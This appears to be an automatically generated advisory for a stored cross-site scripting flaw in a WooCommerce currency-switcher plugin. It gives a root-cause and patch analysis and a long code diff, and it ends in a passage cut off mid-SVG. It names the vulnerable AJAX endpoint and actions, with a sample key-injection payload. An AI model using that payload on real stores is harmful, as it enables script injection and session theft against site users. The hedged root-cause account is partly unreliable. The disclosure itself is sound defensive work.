Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : July 26, 2026

CVE-2026-57319: FOX – Currency Switcher Professional for WooCommerce <= 1.4.8 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 1.4.8
Patched Version 1.4.9
Disclosed June 24, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57319:

This vulnerability is a Stored Cross-Site Scripting (XSS) in the FOX – Currency Switcher Professional for WooCommerce plugin, affecting versions up to 1.4.8. The plugin does not properly sanitize user input or escape output, allowing unauthenticated attackers to inject arbitrary web scripts. The issue resides in the AJAX handler for handling product price requests. CVSS score 7.2 (High).

Root Cause: The vulnerability exists in the file `woocommerce-currency-switcher/classes/woocs.php` within the `woocs_get_products_price_html()` function (line ~4085) and `woocs_get_variation_products_price_html()` function (line ~4116). The plugin receives user-supplied arrays (`products_ids` and `var_products_ids`) via AJAX requests. In the vulnerable version, these arrays are directly processed with `array_map( ‘intval’, $_REQUEST[‘products_ids’] )` without sanitizing the array keys. The patch introduces a loop that sanitizes each key using `sanitize_key()` before applying `intval()` to the value. The unsanitized keys are later used in SQL queries or HTML output, enabling XSS.

Exploitation: An unauthenticated attacker can send a POST request to `/wp-admin/admin-ajax.php` with the action parameter `woocs_get_products_price` or `woocs_get_variation_products_price`. The `products_ids` or `var_products_ids` parameter is submitted as an associative array (e.g., `products_ids[‘alert(1)’]=1`). The unsanitized key containing the malicious script is reflected in the response or stored, causing it to execute in the browser of any user viewing the affected page.

Patch Analysis: The patch in version 1.4.9 modifies the vulnerable code in `woocs.php` to iterate over the array keys and sanitize them with `sanitize_key()`. This function strips or encodes characters that could be used in XSS attacks. The patch also changes `wp_die( json_encode( $data ) )` to `wp_send_json( $data )`, which adds proper Content-Type headers and ensures JSON-safe output. Additionally, the `alert.php` class is disabled entirely by inserting `return;` at the start of the constructor, preventing any XSS from that component.

Impact: Successful exploitation allows an attacker to inject persistent JavaScript that executes in the context of any admin or user visiting the WordPress dashboard or pages where the currency switcher outputs data. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. Since no authentication is required, any visitor can trigger the stored payload.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/woocommerce-currency-switcher/classes/alert.php
+++ b/woocommerce-currency-switcher/classes/alert.php
@@ -8,7 +8,7 @@
 	public $notices_list = array();

 	public function __construct( $alert_list = array() ) {
-
+		return;//disabled 01-07-2026
 		// fix to avoid disabling of 'Upload Theme' button action on /wp-admin/theme-install.php?browse=featured
 		if ( isset( $_SERVER['REQUEST_URI'] ) ) {
 			if ( substr_count( $_SERVER['REQUEST_URI'], 'theme-install.php' ) ) {// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized,WordPress.Security.ValidatedSanitizedInput.MissingUnslash
@@ -88,7 +88,7 @@
 		if ( isset( $_GET['tab'] ) and $_GET['tab'] === 'woocs' ) {
 			$screen = get_current_screen();
 			?>
-			<div class="notice notice-info is-dismissible" id="woocs_alert_woobe">
+			<div class="notice notice-info is-dismissible" id="woocs_alert_woobe">
 				<p class="plugin-card-woo-bulk-editor"
 				<?php
 				if ( $screen->id != 'plugin-install' ) {
@@ -98,8 +98,8 @@
 					Try new plugin for managing and bulk edit WooCommerce Products data in robust and flexible way: <a href="<?php echo esc_attr( network_admin_url( 'plugin-install.php?tab=plugin-information' ) ); ?>&plugin=woo-bulk-editor&TB_iframe=true&width=600&height=550" class="thickbox open-plugin-details-modal" aria-label="FOX team recommends" data-title="WOOBE">WOOBE - WooCommerce Bulk Editor Professional</a>.
 					<a href="<?php echo esc_attr( network_admin_url( 'plugin-install.php?tab=plugin-information' ) ); ?>&plugin=woo-bulk-editor&TB_iframe=true&width=600&height=550" class="thickbox open-plugin-details-modal button" aria-label="More information about WOOBE" data-title="WOOBE" id="woocs_alert_install_button_woobe">Install</a>
 					<a class="install-now button" data-slug="woo-bulk-editor" href="<?php echo esc_attr( network_admin_url( 'update.php?action=install-plugin' ) ); ?>&plugin=woo-bulk-editor&_wpnonce=<?php echo esc_attr( wp_create_nonce( 'install-plugin-woo-bulk-editor' ) ); ?>" aria-label="Install woocommerce bulk editor now" data-name="Woocommerce bulkeditor" style="display:none">Install Now</a>
-				</p>
-			</div>
+				</p>
+			</div>

 			<?php
 			wp_add_inline_script( 'updates', $this->init_js(), 'after' );
@@ -111,39 +111,39 @@
 		$screen = get_current_screen();
 		ob_start();
 		?>
-		jQuery( document ).ready(function() {
-		jQuery('#woocs_alert_woobe .open-plugin-details-modal').on('click', function () {
-		jQuery('#woocs_alert_install_button_woobe').hide().next().show();
-		return true;
-		});
-		jQuery(function ($) {
-		var alert_w = $('#woocs_alert_woobe');
-		alert_w.on('click', '.notice-dismiss', function (e) {
-		//e.preventDefault
-		$.post(ajaxurl, {
-		action: 'woocs_dismiss_alert_',
-		alert: 'woocommerce_bulk_editor',
+		jQuery( document ).ready(function() {
+		jQuery('#woocs_alert_woobe .open-plugin-details-modal').on('click', function () {
+		jQuery('#woocs_alert_install_button_woobe').hide().next().show();
+		return true;
+		});
+		jQuery(function ($) {
+		var alert_w = $('#woocs_alert_woobe');
+		alert_w.on('click', '.notice-dismiss', function (e) {
+		//e.preventDefault
+		$.post(ajaxurl, {
+		action: 'woocs_dismiss_alert_',
+		alert: 'woocommerce_bulk_editor',
 		sec: <?php echo json_encode( wp_create_nonce( 'woocs_dissmiss_alert_' ) ); ?>
-		}).done(function (w) {
+		}).done(function (w) {

-		});
-		});
+		});
+		});

 		<?php if ( $screen->id == 'plugin-install' ) : ?>
-			$('#plugin-woobe').prepend(alert_w.css('margin-bottom', '10px').addClass('inline'));
+			$('#plugin-woobe').prepend(alert_w.css('margin-bottom', '10px').addClass('inline'));
 		<?php endif ?>

-		$(document).on('tb_unload', function () {
-		if (jQuery('#woocs_alert_install_button_woobe').next().hasClass('updating-message'))
-		return;
-
-		jQuery('#woocs_alert_install_button_woobe').show().next().hide();
-		});
-		$(document).on('credential-modal-cancel', function () {
-		jQuery('#woocs_alert_install_button_woobe').show().next().hide();
-		});
-		});
-		});
+		$(document).on('tb_unload', function () {
+		if (jQuery('#woocs_alert_install_button_woobe').next().hasClass('updating-message'))
+		return;
+
+		jQuery('#woocs_alert_install_button_woobe').show().next().hide();
+		});
+		$(document).on('credential-modal-cancel', function () {
+		jQuery('#woocs_alert_install_button_woobe').show().next().hide();
+		});
+		});
+		});
 		<?php
 		return ob_get_clean();
 	}
@@ -152,7 +152,7 @@
 		if ( isset( $_GET['tab'] ) and $_GET['tab'] === 'woocs' ) {
 			$screen = get_current_screen();
 			?>
-			<div class="notice notice-info is-dismissible" id="woocs_alert_woot">
+			<div class="notice notice-info is-dismissible" id="woocs_alert_woot">
 				<p class="plugin-card-profit-products-tables-for-woocommerce"
 				<?php
 				if ( $screen->id != 'plugin-install' ) {
@@ -162,8 +162,8 @@
 					Try new FOX compatible plugin for displaying WooCommerce shop products in table format: <a href="<?php echo esc_attr( network_admin_url( 'plugin-install.php?tab=plugin-information' ) ); ?>&plugin=profit-products-tables-for-woocommerce&TB_iframe=true&width=600&height=550" class="thickbox open-plugin-details-modal" aria-label="FOX team recommends" data-title="WOOT">WOOT - WooCommerce Active Products Tables</a>.
 					<a href="<?php echo esc_attr( network_admin_url( 'plugin-install.php?tab=plugin-information' ) ); ?>&plugin=profit-products-tables-for-woocommerce&TB_iframe=true&width=600&height=550" class="thickbox open-plugin-details-modal button" aria-label="More information about WOOT" data-title="WOOT" id="woocs_alert_install_button_woot">Install</a>
 					<a class="install-now button" data-slug="profit-products-tables-for-woocommerce" href="<?php echo esc_attr( network_admin_url( 'update.php?action=install-plugin' ) ); ?>&plugin=profit-products-tables-for-woocommerce&_wpnonce=<?php echo esc_attr( wp_create_nonce( 'install-plugin-profit-products-tables-for-woocommerce' ) ); ?>" aria-label="Install woot now" data-name="Woocommerce woot" style="display:none">Install Now</a>
-				</p>
-			</div>
+				</p>
+			</div>

 			<?php
 			wp_add_inline_script( 'updates', $this->woot_init_js(), 'after' );
@@ -175,39 +175,39 @@
 		$screen = get_current_screen();
 		ob_start();
 		?>
-		jQuery( document ).ready(function() {
-		jQuery('#woocs_alert_woot .open-plugin-details-modal').on('click', function () {
-		jQuery('#woocs_alert_install_button_woot').hide().next().show();
-		return true;
-		});
-		jQuery(function ($) {
-		var alert_w = $('#woocs_alert_woot');
-		alert_w.on('click', '.notice-dismiss', function (e) {
-		//e.preventDefault
-		$.post(ajaxurl, {
-		action: 'woocs_dismiss_alert_',
-		alert: 'woot_products_tables',
+		jQuery( document ).ready(function() {
+		jQuery('#woocs_alert_woot .open-plugin-details-modal').on('click', function () {
+		jQuery('#woocs_alert_install_button_woot').hide().next().show();
+		return true;
+		});
+		jQuery(function ($) {
+		var alert_w = $('#woocs_alert_woot');
+		alert_w.on('click', '.notice-dismiss', function (e) {
+		//e.preventDefault
+		$.post(ajaxurl, {
+		action: 'woocs_dismiss_alert_',
+		alert: 'woot_products_tables',
 		sec: <?php echo json_encode( wp_create_nonce( 'woocs_dissmiss_alert_' ) ); ?>
-		}).done(function (w) {
+		}).done(function (w) {

-		});
-		});
+		});
+		});

 		<?php if ( $screen->id == 'plugin-install' ) : ?>
-			$('#plugin-woot').prepend(alert_w.css('margin-bottom', '10px').addClass('inline'));
+			$('#plugin-woot').prepend(alert_w.css('margin-bottom', '10px').addClass('inline'));
 		<?php endif ?>

-		$(document).on('tb_unload', function () {
-		if (jQuery('#woocs_alert_install_button_woot').next().hasClass('updating-message'))
-		return;
-
-		jQuery('#woocs_alert_install_button_woot').show().next().hide();
-		});
-		$(document).on('credential-modal-cancel', function () {
-		jQuery('#woocs_alert_install_button_woot').show().next().hide();
-		});
-		});
-		});
+		$(document).on('tb_unload', function () {
+		if (jQuery('#woocs_alert_install_button_woot').next().hasClass('updating-message'))
+		return;
+
+		jQuery('#woocs_alert_install_button_woot').show().next().hide();
+		});
+		$(document).on('credential-modal-cancel', function () {
+		jQuery('#woocs_alert_install_button_woot').show().next().hide();
+		});
+		});
+		});
 		<?php
 		return ob_get_clean();
 	}
@@ -218,18 +218,18 @@
 			if ( isset( $_GET['tab'] ) and $_GET['tab'] === 'woocs' ) {
 				$screen = get_current_screen();
 				?>
-				<div class="notice notice-info is-dismissible" id="woocs_alert_weglot">
+				<div class="notice notice-info is-dismissible" id="woocs_alert_weglot">
 					<p class="plugin-card-weglot"
 					<?php
 					if ( $screen->id != 'plugin-install' ) {
 						echo ' id="weglot"';}
 					?>
 					>
-						Try <a href="https://weglot.pluginus.net/" target="_blank" title="Weglot">Weglot</a>, FOX compatible plugin, which allows to translate your site on the fly. Install, try and get unique 20% <strong>discount</strong> by secret coupon: <span class="woocs-red">WOOCS</span>.
+						Try <a href="https://weglot.pluginus.net/" target="_blank" title="Weglot">Weglot</a>, FOX compatible plugin, which allows to translate your site on the fly. Install, try and get unique 20% <strong>discount</strong> by secret coupon: <span class="woocs-red">WOOCS</span>.
 						<a href="<?php echo esc_attr( network_admin_url( 'plugin-install.php?tab=plugin-information' ) ); ?>&plugin=weglot&TB_iframe=true&width=600&height=550" class="thickbox open-plugin-details-modal button" aria-label="More information about Weglot" data-title="Weglot" id="woocs_alert_install_button_weglot">Install</a>
 						<a class="install-now button" data-slug="weglot" href="<?php echo esc_attr( network_admin_url( 'update.php?action=install-plugin' ) ); ?>&plugin=weglot&_wpnonce=<?php echo esc_attr( wp_create_nonce( 'install-plugin-weglot' ) ); ?>" aria-label="Install Weglot now" data-name="Weglot" style="display:none">Install Now</a>
-					</p>
-				</div>
+					</p>
+				</div>

 				<?php
 				wp_add_inline_script( 'updates', $this->weglot_init_js(), 'after' );
@@ -242,39 +242,39 @@
 		$screen = get_current_screen();
 		ob_start();
 		?>
-		jQuery( document ).ready(function() {
-		jQuery('#woocs_alert_weglot .open-plugin-details-modal').on('click', function () {
-		jQuery('#woocs_alert_install_button_weglot').hide().next().show();
-		return true;
-		});
-		jQuery(function ($) {
-		var alert_w = $('#woocs_alert_weglot');
-		alert_w.on('click', '.notice-dismiss', function (e) {
-		//e.preventDefault
-		$.post(ajaxurl, {
-		action: 'woocs_dismiss_alert_',
-		alert: 'weglot',
+		jQuery( document ).ready(function() {
+		jQuery('#woocs_alert_weglot .open-plugin-details-modal').on('click', function () {
+		jQuery('#woocs_alert_install_button_weglot').hide().next().show();
+		return true;
+		});
+		jQuery(function ($) {
+		var alert_w = $('#woocs_alert_weglot');
+		alert_w.on('click', '.notice-dismiss', function (e) {
+		//e.preventDefault
+		$.post(ajaxurl, {
+		action: 'woocs_dismiss_alert_',
+		alert: 'weglot',
 		sec: <?php echo json_encode( wp_create_nonce( 'woocs_dissmiss_alert_' ) ); ?>
-		}).done(function (w) {
+		}).done(function (w) {

-		});
-		});
+		});
+		});

 		<?php if ( $screen->id == 'plugin-install' ) : ?>
-			$('#plugin-weglot').prepend(alert_w.css('margin-bottom', '10px').addClass('inline'));
+			$('#plugin-weglot').prepend(alert_w.css('margin-bottom', '10px').addClass('inline'));
 		<?php endif ?>

-		$(document).on('tb_unload', function () {
-		if (jQuery('#woocs_alert_install_button_weglot').next().hasClass('updating-message'))
-		return;
-
-		jQuery('#woocs_alert_install_button_weglot').show().next().hide();
-		});
-		$(document).on('credential-modal-cancel', function () {
-		jQuery('#woocs_alert_install_button_weglot').show().next().hide();
-		});
-		});
-		});
+		$(document).on('tb_unload', function () {
+		if (jQuery('#woocs_alert_install_button_weglot').next().hasClass('updating-message'))
+		return;
+
+		jQuery('#woocs_alert_install_button_weglot').show().next().hide();
+		});
+		$(document).on('credential-modal-cancel', function () {
+		jQuery('#woocs_alert_install_button_weglot').show().next().hide();
+		});
+		});
+		});
 		<?php
 		return ob_get_clean();
 	}
--- a/woocommerce-currency-switcher/classes/woocs.php
+++ b/woocommerce-currency-switcher/classes/woocs.php
@@ -945,7 +945,11 @@
 				$this->cron->attach( $this->cron_hook, time(), $this->wp_cron_period );
 			}

-			$this->cron->process();
+			try {
+				$this->cron->process();
+			} catch ( Throwable $e ) {
+				error_log( '[WOOCS] Rate auto-update failed: ' . $e->getMessage() . ' in ' . $e->getFile() . ':' . $e->getLine() );
+			}
 		}
 	}

@@ -1032,7 +1036,12 @@
 				continue;
 			}
 			$_REQUEST['currency_name'] = $currency['name'];
-			$request[ $key ]           = (float) $this->get_rate();
+			try {
+				$request[ $key ] = (float) $this->get_rate();
+			} catch ( Throwable $e ) {
+				error_log( '[WOOCS] Failed to get rate for ' . $key . ': ' . $e->getMessage() );
+				$request[ $key ] = -1.0;
+			}
 		}
 		// *** checking and assigning data
 		foreach ( $currencies as $key => $currency ) {
@@ -1144,7 +1153,7 @@

 		if ( $this->notes_for_free ) {

-			$buttons[] = '<a target="_blank" class="woocs-go-pro" href="https://codecanyon.pluginus.net/item/woocommerce-currency-switcher/8085217">' . esc_html__( 'Go Pro!', 'woocommerce-currency-switcher' ) . '</a>';
+			$buttons[] = '<a target="_blank" class="woocs-go-pro" href="https://currency-switcher.com/downloads">' . esc_html__( 'Go Pro!', 'woocommerce-currency-switcher' ) . '</a>';
 		}

 		return array_merge( $buttons, $links );
@@ -4076,7 +4085,12 @@

 			$this->init_geo_currency();
 			$_REQUEST['get_product_price_by_ajax'] = 1;
-			$products_ids                          = array_map( 'intval', $_REQUEST['products_ids'] );
+
+			$raw_ids = $_REQUEST['products_ids'];
+			$products_ids = array();
+			foreach ( $raw_ids as $k => $v ) {
+				$products_ids[ sanitize_key( $k ) ] = intval( $v );
+			}

 			if ( ! empty( $products_ids ) and is_array( $products_ids ) ) {
 				foreach ( $products_ids as $k_id => $p_id ) {
@@ -4103,7 +4117,7 @@
 		$data['current_currency'] = $this->current_currency;
 		$data['currency_data']    = $currencies[ $this->current_currency ];

-		wp_die( json_encode( $data ) );
+		wp_send_json( $data );
 	}

 	public function woocs_get_variation_products_price_html() {
@@ -4116,7 +4130,12 @@

 			$this->init_geo_currency();
 			$_REQUEST['get_product_price_by_ajax'] = 1;
-			$products_ids                          = $_REQUEST['var_products_ids'];
+
+			$raw_ids = $_REQUEST['var_products_ids'];
+			$products_ids = array();
+			foreach ( $raw_ids as $k => $v ) {
+				$products_ids[ sanitize_key( $k ) ] = intval( $v );
+			}

 			if ( ! empty( $products_ids ) and is_array( $products_ids ) ) {
 				foreach ( $products_ids as $p_id ) {
@@ -4128,7 +4147,7 @@
 			}
 		}

-		wp_die( json_encode( $result ) );
+		wp_send_json( $result );
 	}

 	function woocs_get_custom_price_html() {
@@ -5927,12 +5946,12 @@
 					return;
 				}

-				$link = 'https://codecanyon.net/downloads#item-8085217';
-				$on   = 'CodeCanyon';
-				if ( $this->notes_for_free ) {
+				//$link = 'https://codecanyon.net/downloads#item-8085217';
+				//$on   = 'CodeCanyon';
+				//if ( $this->notes_for_free ) {
 					$link = 'https://wordpress.org/plugins/woocommerce-currency-switcher/reviews';
 					$on   = 'WordPress';
-				}
+				//}
 				?>
 			<div class="notice notice-info woocs-pos-relative" id="pn_<?php echo esc_attr( $slug ); ?>_ask_favour">
 				<button onclick="javascript: pn_<?php echo esc_attr( $slug ); ?>_dismiss_review(1); void(0);" title="<?php esc_html_e( 'Later', 'woocommerce-currency-switcher' ); ?>" class="notice-dismiss"></button>
--- a/woocommerce-currency-switcher/index.php
+++ b/woocommerce-currency-switcher/index.php
@@ -5,7 +5,7 @@
 	Plugin URI: https://currency-switcher.com/
 	Description: Currency Switcher for WooCommerce that allows to the visitors and customers on your woocommerce store site switch currencies and optionally apply selected currency on checkout
 	Author: realmag777
-	Version: 1.4.8
+	Version: 1.4.9
 	Requires at least: 6.0
 	Tested up to: 7.0
 	Requires PHP: 7.4
@@ -88,7 +88,7 @@
 	}
 }

-define( 'WOOCS_VERSION', '1.4.8' );
+define( 'WOOCS_VERSION', '1.4.9' );
 // define('WOOCS_VERSION', uniqid('woocs-'));//for dev test purposes to reset browser cache
 define( 'WOOCS_MIN_WOOCOMMERCE', '6.0' );
 define( 'WOOCS_PATH', plugin_dir_path( __FILE__ ) );
@@ -112,7 +112,7 @@

 require_once WOOCS_PATH . 'classes/world_currencies.php';

-// 26-05-2026
+// 12-06-2026
 class WOOCS_STARTER {

 	private $default_woo_version   = 6.0;
--- a/woocommerce-currency-switcher/views/plugin_options.php
+++ b/woocommerce-currency-switcher/views/plugin_options.php
@@ -1333,10 +1333,10 @@
                     <hr />

                     <?php
-                    $rate_url = 'https://codecanyon.net/downloads#item-8085217';
-                    if ($WOOCS->notes_for_free) {
+                    //$rate_url = 'https://codecanyon.net/downloads#item-8085217';
+                    //if ($WOOCS->notes_for_free) {
                         $rate_url = 'https://wordpress.org/support/plugin/woocommerce-currency-switcher/reviews/#new-post';
-                    }
+                    //}
                     ?>

                     <b><?php printf(__("We work hard to make this plugin more effective tool for your e-shops, and ready to %s hear your review, suggestions and opinions %s, please share it with us!", 'woocommerce-currency-switcher'), '<a href="' . $rate_url . '" target="_blank" class="woocs-orange">', '</a>') ?></b>
@@ -1358,8 +1358,8 @@
                     <h3><?php esc_html_e("More power for your shop", 'woocommerce-currency-switcher') ?></h3>


-                    <a href="https://codecanyon.pluginus.net/item/woof-woocommerce-products-filter" target="_blank"><img width="300" src="<?php echo WOOCS_LINK ?>img/woof_banner.png" /></a> 
-                    <a href="https://codecanyon.pluginus.net/item/woobe-woocommerce-bulk-editor-professional/21779835" target="_blank"><img width="300" src="<?php echo WOOCS_LINK ?>img/woobe_banner.png" /></a>
+                    <a href="https://products-filter.com/downloads" target="_blank"><img width="300" src="<?php echo WOOCS_LINK ?>img/woof_banner.png" /></a> 
+                    <a href="https://bulk-editor.com/downloads" target="_blank"><img width="300" src="<?php echo WOOCS_LINK ?>img/woobe_banner.png" /></a>
                     <a href="https://codecanyon.pluginus.net/item/woot-woocommerce-products-tables/27928580" target="_blank"><img width="300" src="<?php echo WOOCS_LINK ?>img/woot_banner.png" /></a>


@@ -1369,7 +1369,7 @@
                         <div id="plugin_warning" style="display: none;">
                             <div class="plugin_warning_head"><strong class="woocs_settings_red" >IF YOU BOUGHT WOOCS ON CODECANYON - DO NOT READ AND IGNORE NEXT MESSAGE!<BR />ATTENTION MESSAGE FROM THE PLUGIN AUTHOR TO ALL USERS WHO USES PIRATE VERSION OF THE PLUGIN!</strong>!<br></div>
                             <br />
-                            GET YOUR COPY OF THE PLUGIN <em> <span class="woocs_settings_underline"><span class="woocs_settings_ff"><strong>ONLY</strong></span></span></em> FROM <a href="https://codecanyon.pluginus.net/item/woocommerce-currency-switcher/8085217" target="_blank"><span class="woocs_settings_green"><strong>CODECANYON.NET</strong></span></a> OR <span class="woocs_settings_green"><strong><a href="https://wordpress.org/plugins/woocommerce-currency-switcher/" target="_blank">WORDPRESS.ORG</a></strong></span> IF YOU DO NOT WANT TO BE AN AFFILIATE OF ANY VIRUS SITE.<br>
+                            GET YOUR COPY OF THE PLUGIN <em> <span class="woocs_settings_underline"><span class="woocs_settings_ff"><strong>ONLY</strong></span></span></em> FROM <a href="https://currency-switcher.com/downloads" target="_blank"><span class="woocs_settings_green"><strong>CODECANYON.NET</strong></span></a> OR <span class="woocs_settings_green"><strong><a href="https://wordpress.org/plugins/woocommerce-currency-switcher/" target="_blank">WORDPRESS.ORG</a></strong></span> IF YOU DO NOT WANT TO BE AN AFFILIATE OF ANY VIRUS SITE.<br>
                             <br>
                             <strong>DID YOU CATCH A VIRUS DOWNLOADING THE PLUGIN FROM ANOTHER (PIRATE) SITES<span class="woocs_settings_ff">?</span></strong> THIS IS YOUR TROUBLES AND <em>DO NOT WRITE TO SUPPORT THAT GOOGLE DOWN YOUR SITE TO ZERO BECAUSE OF  ANY VIRUS</em>!!<br>
                             <br>
@@ -1414,23 +1414,23 @@
     <?php if ($WOOCS->notes_for_free): ?>
         <hr />

-        <div class="woocs-notice"><i><?php printf(__('In the free version of the plugin %s you can operate with 2 ANY currencies only%s! If you want to use more currencies %s you can make upgrade to the premium version%s of the plugin', 'woocommerce-currency-switcher'), '<b class="woocs_settings_red">', '</b>', '<a href="https://codecanyon.pluginus.net/item/woocommerce-currency-switcher/8085217" target="_blank">', '</a>') ?></i></div><br />
+        <div class="woocs-notice"><i><?php printf(__('In the free version of the plugin %s you can operate with 2 ANY currencies only%s! If you want to use more currencies %s you can make upgrade to the premium version%s of the plugin', 'woocommerce-currency-switcher'), '<b class="woocs_settings_red">', '</b>', '<a href="https://currency-switcher.com/downloads" target="_blank">', '</a>') ?></i></div><br />

         <table class="woocs_settings_promotion" >
             <tr>
                 <td >
                     <h3 class="woocs_settings_red"><?php esc_html_e("UPGRADE to Full version", 'woocommerce-currency-switcher') ?>:</h3>
-                    <a href="https://codecanyon.pluginus.net/item/woocommerce-currency-switcher/8085217" target="_blank"><img width="240" src="<?php echo WOOCS_LINK ?>img/woocs_banner.png" alt="<?php esc_html_e("full version of the plugin", 'woocommerce-currency-switcher'); ?>" /></a>
+                    <a href="https://currency-switcher.com/downloads" target="_blank"><img width="240" src="<?php echo WOOCS_LINK ?>img/woocs_banner.png" alt="<?php esc_html_e("full version of the plugin", 'woocommerce-currency-switcher'); ?>" /></a>
                 </td>

                 <td >
                     <h3><?php esc_html_e("WOOF - WooCommerce Products Filter", 'woocommerce-currency-switcher') ?>:</h3>
-                    <a href="https://codecanyon.pluginus.net/item/woof-woocommerce-products-filter" target="_blank"><img width="240" src="<?php echo WOOCS_LINK ?>img/woof_banner.png" alt="<?php esc_html_e("WOOF - WooCommerce Products Filter", 'woocommerce-currency-switcher'); ?>" /></a>
+                    <a href="https://products-filter.com/downloads" target="_blank"><img width="240" src="<?php echo WOOCS_LINK ?>img/woof_banner.png" alt="<?php esc_html_e("WOOF - WooCommerce Products Filter", 'woocommerce-currency-switcher'); ?>" /></a>
                 </td>

                 <td >
                     <h3><?php esc_html_e("WOOBE - WooCommerce Bulk Editor Professional", 'woocommerce-currency-switcher') ?>:</h3>
-                    <a href="https://codecanyon.pluginus.net/item/woobe-woocommerce-bulk-editor-professional/21779835" target="_blank"><img src="<?php echo WOOCS_LINK ?>img/woobe_banner.png" width="240" alt="<?php esc_html_e("WOOBE - WooCommerce Bulk Editor Professional", 'woocommerce-currency-switcher'); ?>" /></a>
+                    <a href="https://bulk-editor.com/downloads" target="_blank"><img src="<?php echo WOOCS_LINK ?>img/woobe_banner.png" width="240" alt="<?php esc_html_e("WOOBE - WooCommerce Bulk Editor Professional", 'woocommerce-currency-switcher'); ?>" /></a>
                 </td>

                 <td >
--- a/woocommerce-currency-switcher/views/plugin_options_2.php
+++ b/woocommerce-currency-switcher/views/plugin_options_2.php
@@ -8,34 +8,34 @@
 ?>

 <div class="woocs-admin-preloader">
-	<div class="cssload-loader">
-		<div class="cssload-inner cssload-one"></div>
-		<div class="cssload-inner cssload-two"></div>
-		<div class="cssload-inner cssload-three"></div>
-	</div>
+	<div class="cssload-loader">
+		<div class="cssload-inner cssload-one"></div>
+		<div class="cssload-inner cssload-two"></div>
+		<div class="cssload-inner cssload-three"></div>
+	</div>
 </div>


 <div class="subsubsub_section woocs_subsubsub_section">

-	<div class="section">
+	<div class="section">

-		<div class="woocs__section-title woocs-mb-4">
-			<h3 class="woocs_settings_version">
+		<div class="woocs__section-title woocs-mb-4">
+			<h3 class="woocs_settings_version">
 			<?php
 			// translators: %s is a variable value.
 			printf( esc_html__( 'FOX - Currency Switcher Professional for WooCommerce %s', 'woocommerce-currency-switcher' ), '<span class="woocs__text-success">v.' . esc_html( WOOCS_VERSION ) . '</span>' )
 			?>
 			 <span id="woocs-head"><svg enable-background="new -105 186.7 384 468.2" version="1.1" viewBox="-105 186.7 384 468.2" xml:space="preserve" xmlns="http://www.w3.org/2000/svg">

-						<g>
+						<g>

-							<path d="m27.6 610.9c-0.2-0.2-0.4-0.7-0.4-1.1s-0.2-1-0.5-1.3-0.5-0.8-0.5-1-0.5-1.5-1.1-2.8-1.1-2.5-1.1-2.7-0.1-0.4-0.3-0.4-0.3-0.3-0.3-0.6-0.1-0.7-0.3-0.9-1-1.6-1.8-3.2-1.7-3.1-2-3.4c-0.2-0.3-0.4-0.6-0.4-0.7 0-0.2-1.3-2.3-2.9-4.5-2.2-3.2-6.2-7.6-15.1-16.4-12.8-12.6-14.6-14.8-19.7-22.4-2.6-4-4.5-7.4-6.9-12.6-1.9-4.2-2.1-4.7-2.1-5.1 0-0.2-0.1-0.6-0.3-1s-0.5-0.9-0.6-1.3-0.3-0.9-0.3-1.2-0.2-0.8-0.5-1.2c-0.3-0.3-0.5-0.9-0.5-1.3s-0.1-0.8-0.3-0.9-0.3-0.5-0.3-0.9-0.2-0.9-0.4-1.1c-0.3-0.3-0.2-0.6 0.4-1.4 0.9-1.2 1.6-1.1 2 0.2 0.2 0.5 0.4 1.2 0.6 1.5s0.3 0.7 0.3 0.9 0.2 0.9 0.5 1.5 0.7 1.7 1 2.3c1.6 3.8 3 6.7 4 8 0.3 0.5 0.6 0.9 0.6 1.1s0.5 1 1.1 2 1.1 1.9 1.1 2 0.5 0.9 1.1 1.7 1.5 2 1.9 2.7c0.5 0.7 0.9 1.4 1.1 1.4 0.1 0.1 0.6 0.7 1.1 1.4 2.1 2.9 5.3 6.3 15.9 17 6.1 6.2 11.8 12.1 12.6 13.1 0.8 1.1 1.9 2.3 2.3 2.7s0.7 1 0.7 1.2 0.2 0.6 0.5 0.8c0.5 0.4 4 5.6 4 5.9 0 0.1 0.3 0.6 0.7 1.2 0.7 1 3.6 6.7 4.1 8.1 0.8 2.2 1.4 3.6 1.6 4.1 0.2 0.3 0.3 1 0.3 1.5s0.1 1.2 0.3 1.5 0.3 1.7 0.4 3.1c0.1 2.4 0.1 2.6-0.5 2.7-0.5 0.2-0.9 0.1-1.1-0.2zm116.6-1.7c-0.3-0.3-0.3-1.9 0.1-2.7 0.2-0.4 0.5-1.6 0.8-2.7s0.7-2.2 0.8-2.5 0.3-0.8 0.3-1c0-0.3 0.2-0.9 0.5-1.4 0.2-0.5 0.8-1.6 1.2-2.5 1.1-2.6 2.8-5.7 3.9-7.2 0.3-0.5 0.6-0.9 0.6-1 0-0.2 2.9-4.5 3.8-5.5 0.3-0.4 0.8-1 1-1.5 0.8-1.4 4.4-5.2 15.6-16.6 10-10.2 13.7-14.2 16.7-18.4 0.6-0.8 1.4-1.9 1.8-2.4s0.7-1 0.7-1.1 0.4-0.7 0.8-1.3 0.8-1.1 0.8-1.2 0.6-1.2 1.4-2.5c1.3-2.2 2.5-4.6 4-7.9 0.4-0.8 0.9-2.1 1.3-3 0.4-0.8 0.7-1.7 0.7-1.9s0.2-0.7 0.5-1 0.5-0.9 0.5-1.2 0.1-0.8 0.3-1.1 0.4-0.8 0.5-1.2c0.3-0.9 0.9-0.2 0.9 1 0 1.7-0.9 7.6-1.3 8.6-0.1 0.4-0.5 1.4-0.8 2.2-0.7 2.1-0.9 2.6-1.9 4.6-0.5 0.9-0.8 1.8-0.8 2s-0.5 1.1-1.1 2.1-1.1 1.8-1.1 1.9-0.5 0.9-1 1.7c-0.6 0.8-1.2 1.7-1.4 2-1 1.6-2.3 3.5-3 4.3-0.5 0.6-1.6 1.9-2.4 3-2.9 3.6-11.1 12.3-15.5 16.4-5.5 5.2-9.9 9.7-11.1 11.3-0.5 0.7-1.6 2-2.5 3-1.4 1.6-5.8 7.7-6.7 9.4-0.2 0.4-0.7 1.2-1.1 1.9-0.9 1.5-2.7 5.1-3.5 7.4-0.8 2.2-1.4 3.6-1.6 4.1-0.2 0.3-0.3 0.8-0.3 1s-0.4 0.6-0.8 0.8c-1.4 0.3-1.4 0.3-1.6 0.1zm60.6-68.2c0-0.3 0.3-0.9 0.7-1.2 0.6-0.6 2.8-3.2 